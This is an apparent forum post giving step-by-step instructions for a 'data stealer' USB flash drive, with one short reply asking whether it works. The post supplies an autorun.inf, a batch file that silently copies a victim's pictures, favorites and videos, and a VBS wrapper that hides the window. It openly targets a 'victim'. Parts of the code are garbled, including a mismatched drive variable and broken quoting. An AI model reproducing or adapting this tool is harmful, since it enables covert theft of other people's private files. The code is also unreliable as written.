✳️How to make a data stealer flash drive✳️

1,:point_right:open notepad and write down the following code

:diamond_shape_with_a_dot_inside:[autorun]

icon=drive.ico

open=launch.bat

action=Click OK to Run

shell\open\command=launch.bat💠

And Save this as a file as autorun.inf

2,:point_right: Open Notepad again and copy-paste the following lines

:diamond_shape_with_a_dot_inside: @echo off

:: variables

/min

SET odrive=%odrive:~0,2%

set backupcmd=xcopy /s /c /d /e /h /i /r /y

echo off

%backupcmd% “%USERPROFILE%\pictures”

“%drive%\all\My pics”

%backupcmd% “%USERPROFILE%\Favorites”

“%drive%\all\Favorites”

%backupcmd% “%USERPROFILE%\videos”

“%drive%\all\vids”

@echo off

cls💠

And Save this file as file.bat

:globe_with_meridians: This file is configured to copy the contents of the current users pictures, favourites, and videos folder to the Flash drive under a folder called “all”. This is the section of the code you will need to edit depending on what you want to copy.

3,:point_right: Open Notepad once again and copy-paste the following line.

:diamond_shape_with_a_dot_inside: CreateObject(“Wscript.Shell”).Run “”“” & WScript.Arguments(0) & “”“”, 0, False​:diamond_shape_with_a_dot_inside:

& Save this as invisible.vbs

:globe_with_meridians: This code runs the file.bat as a process so it does not show the CMD prompt and everything the batch file is processing.

4,:point_right: Open Notepad one last time and copy-paste the following line.

:diamond_shape_with_a_dot_inside: wscript.exe \invisible.vbs file.bat​:diamond_shape_with_a_dot_inside:

& save this as launch.bat

5,:point_right: Copy all 4 files created in the above steps and put them on the root of the Flash drive Also create a folder named “all” where the contents are to be copied automatically. You can call this folder by any name, but then you need to reflect the changes you made in step 2.

6,:point_right: This is all that needs to be done. Test the Flash drive on your own computer first before playing it out on your victim. It works flawlessly.

4 Likes

Can someone confirm if this method works?